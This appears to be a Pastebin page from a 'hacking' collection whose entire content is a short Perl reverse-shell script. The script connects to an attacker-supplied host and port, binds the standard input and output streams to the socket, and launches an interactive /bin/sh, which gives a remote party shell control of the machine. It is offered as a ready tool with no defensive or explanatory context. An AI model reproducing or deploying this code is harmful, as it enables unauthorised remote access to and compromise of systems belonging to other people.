SHARE
TWEET

More from the hacking

a guest Aug 21st, 2012 71 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. use Socket;
  3. $iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
  4. $paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
  5. $proto=getprotobyname('tcp');
  6. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  7. connect(SOCKET, $paddr) || die("Error: $!\n");
  8. open(STDIN, ">&SOCKET");
  9. open(STDOUT, ">&SOCKET");
  10. open(STDERR, ">&SOCKET");
  11. system('/bin/sh -i');
  12. close(STDIN);
  13. close(STDOUT);
  14. close(STDERR);
RAW Paste Data
Top